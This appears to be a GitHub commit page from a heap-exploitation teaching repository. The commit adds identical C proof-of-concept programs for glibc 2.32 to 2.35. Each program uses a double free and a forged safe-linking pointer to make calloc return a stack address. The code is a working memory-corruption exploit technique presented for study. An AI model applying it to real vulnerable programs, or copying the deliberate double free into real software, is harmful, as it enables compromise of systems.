Skip to content

Commit

Permalink
add fastbin dup into stack to glibcs with safe linking
Browse files Browse the repository at this point in the history
  • Loading branch information
Kyle-Kyle committed May 21, 2022
1 parent 75c4184 commit 089a2c9
Show file tree
Hide file tree
Showing 5 changed files with 312 additions and 4 deletions.
8 changes: 4 additions & 4 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,10 @@ BASE = malloc_playground first_fit calc_tcache_idx
V2.23 = glibc_2.23/fastbin_dup_consolidate glibc_2.23/fastbin_dup_into_stack glibc_2.23/fastbin_dup_consolidate glibc_2.23/unsafe_unlink glibc_2.23/house_of_spirit glibc_2.23/poison_null_byte glibc_2.23/house_of_lore glibc_2.23/overlapping_chunks glibc_2.23/overlapping_chunks_2 glibc_2.23/house_of_force glibc_2.23/large_bin_attack glibc_2.23/unsorted_bin_attack glibc_2.23/unsorted_bin_into_stack glibc_2.23/house_of_einherjar glibc_2.23/house_of_orange glibc_2.23/house_of_roman glibc_2.23/mmap_overlapping_chunks glibc_2.23/fastbin_dup glibc_2.23/house_of_mind_fastbin glibc_2.23/house_of_storm
V2.27 = glibc_2.27/fastbin_dup_consolidate glibc_2.27/fastbin_dup_into_stack glibc_2.27/unsafe_unlink glibc_2.27/house_of_lore glibc_2.27/overlapping_chunks glibc_2.27/large_bin_attack glibc_2.27/unsorted_bin_attack glibc_2.27/unsorted_bin_into_stack glibc_2.27/house_of_einherjar glibc_2.27/tcache_poisoning glibc_2.27/tcache_house_of_spirit glibc_2.27/house_of_botcake glibc_2.27/tcache_stashing_unlink_attack glibc_2.27/fastbin_reverse_into_tcache glibc_2.27/mmap_overlapping_chunks glibc_2.27/fastbin_dup glibc_2.27/house_of_force glibc_2.27/poison_null_byte glibc_2.27/house_of_mind_fastbin glibc_2.27/house_of_storm
V2.31 = glibc_2.31/fastbin_dup_consolidate glibc_2.31/fastbin_dup_into_stack glibc_2.31/unsafe_unlink glibc_2.31/overlapping_chunks glibc_2.31/house_of_einherjar glibc_2.31/tcache_poisoning glibc_2.31/tcache_house_of_spirit glibc_2.31/house_of_botcake glibc_2.31/tcache_stashing_unlink_attack glibc_2.31/fastbin_reverse_into_tcache glibc_2.31/mmap_overlapping_chunks glibc_2.31/fastbin_dup glibc_2.31/large_bin_attack glibc_2.31/house_of_mind_fastbin glibc_2.31/house_of_lore glibc_2.31/poison_null_byte
V2.32 = glibc_2.32/fastbin_dup_consolidate glibc_2.32/unsafe_unlink glibc_2.32/overlapping_chunks glibc_2.32/house_of_einherjar glibc_2.32/tcache_poisoning glibc_2.32/tcache_house_of_spirit glibc_2.32/house_of_botcake glibc_2.32/tcache_stashing_unlink_attack glibc_2.32/fastbin_reverse_into_tcache glibc_2.32/mmap_overlapping_chunks glibc_2.32/fastbin_dup glibc_2.32/large_bin_attack glibc_2.32/house_of_mind_fastbin glibc_2.32/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.32/poison_null_byte
V2.33 = glibc_2.33/fastbin_dup_consolidate glibc_2.33/unsafe_unlink glibc_2.33/overlapping_chunks glibc_2.33/house_of_einherjar glibc_2.33/tcache_poisoning glibc_2.33/tcache_house_of_spirit glibc_2.33/house_of_botcake glibc_2.33/tcache_stashing_unlink_attack glibc_2.33/fastbin_reverse_into_tcache glibc_2.33/mmap_overlapping_chunks glibc_2.33/fastbin_dup glibc_2.33/large_bin_attack glibc_2.33/house_of_mind_fastbin glibc_2.33/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.33/poison_null_byte
V2.34 = glibc_2.34/fastbin_dup_consolidate glibc_2.34/unsafe_unlink glibc_2.34/overlapping_chunks glibc_2.34/house_of_einherjar glibc_2.34/tcache_poisoning glibc_2.34/tcache_house_of_spirit glibc_2.34/house_of_botcake glibc_2.34/tcache_stashing_unlink_attack glibc_2.34/fastbin_reverse_into_tcache glibc_2.34/mmap_overlapping_chunks glibc_2.34/fastbin_dup glibc_2.34/large_bin_attack glibc_2.34/house_of_mind_fastbin glibc_2.34/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.34/poison_null_byte
V2.35 = glibc_2.35/fastbin_dup_consolidate glibc_2.35/unsafe_unlink glibc_2.35/overlapping_chunks glibc_2.35/house_of_einherjar glibc_2.35/tcache_poisoning glibc_2.35/tcache_house_of_spirit glibc_2.35/house_of_botcake glibc_2.35/tcache_stashing_unlink_attack glibc_2.35/fastbin_reverse_into_tcache glibc_2.35/mmap_overlapping_chunks glibc_2.35/fastbin_dup glibc_2.35/large_bin_attack glibc_2.35/house_of_mind_fastbin glibc_2.35/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.35/poison_null_byte
V2.32 = glibc_2.32/fastbin_dup_consolidate glibc_2.32/unsafe_unlink glibc_2.32/overlapping_chunks glibc_2.32/house_of_einherjar glibc_2.32/tcache_poisoning glibc_2.32/tcache_house_of_spirit glibc_2.32/house_of_botcake glibc_2.32/tcache_stashing_unlink_attack glibc_2.32/fastbin_reverse_into_tcache glibc_2.32/mmap_overlapping_chunks glibc_2.32/fastbin_dup glibc_2.32/large_bin_attack glibc_2.32/house_of_mind_fastbin glibc_2.32/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.32/poison_null_byte glibc_2.32/fastbin_dup_into_stack
V2.33 = glibc_2.33/fastbin_dup_consolidate glibc_2.33/unsafe_unlink glibc_2.33/overlapping_chunks glibc_2.33/house_of_einherjar glibc_2.33/tcache_poisoning glibc_2.33/tcache_house_of_spirit glibc_2.33/house_of_botcake glibc_2.33/tcache_stashing_unlink_attack glibc_2.33/fastbin_reverse_into_tcache glibc_2.33/mmap_overlapping_chunks glibc_2.33/fastbin_dup glibc_2.33/large_bin_attack glibc_2.33/house_of_mind_fastbin glibc_2.33/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.33/poison_null_byte glibc_2.33/fastbin_dup_into_stack
V2.34 = glibc_2.34/fastbin_dup_consolidate glibc_2.34/unsafe_unlink glibc_2.34/overlapping_chunks glibc_2.34/house_of_einherjar glibc_2.34/tcache_poisoning glibc_2.34/tcache_house_of_spirit glibc_2.34/house_of_botcake glibc_2.34/tcache_stashing_unlink_attack glibc_2.34/fastbin_reverse_into_tcache glibc_2.34/mmap_overlapping_chunks glibc_2.34/fastbin_dup glibc_2.34/large_bin_attack glibc_2.34/house_of_mind_fastbin glibc_2.34/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.34/poison_null_byte glibc_2.34/fastbin_dup_into_stack
V2.35 = glibc_2.35/fastbin_dup_consolidate glibc_2.35/unsafe_unlink glibc_2.35/overlapping_chunks glibc_2.35/house_of_einherjar glibc_2.35/tcache_poisoning glibc_2.35/tcache_house_of_spirit glibc_2.35/house_of_botcake glibc_2.35/tcache_stashing_unlink_attack glibc_2.35/fastbin_reverse_into_tcache glibc_2.35/mmap_overlapping_chunks glibc_2.35/fastbin_dup glibc_2.35/large_bin_attack glibc_2.35/house_of_mind_fastbin glibc_2.35/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.35/poison_null_byte glibc_2.35/fastbin_dup_into_stack
PROGRAMS = $(BASE) $(V2.23) $(V2.27) $(V2.31) $(V2.32) $(V2.33) $(V2.34) $(V2.35)
CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object
LDLIBS += -ldl
Expand Down
77 changes: 77 additions & 0 deletions glibc_2.32/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long stack_var[2] __attribute__ ((aligned (0x10)));

fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
77 changes: 77 additions & 0 deletions glibc_2.33/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long stack_var[2] __attribute__ ((aligned (0x10)));

fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
77 changes: 77 additions & 0 deletions glibc_2.34/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long stack_var[2] __attribute__ ((aligned (0x10)));

fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
77 changes: 77 additions & 0 deletions glibc_2.35/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long stack_var[2] __attribute__ ((aligned (0x10)));

fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}

0 comments on commit 089a2c9

Please sign in to comment.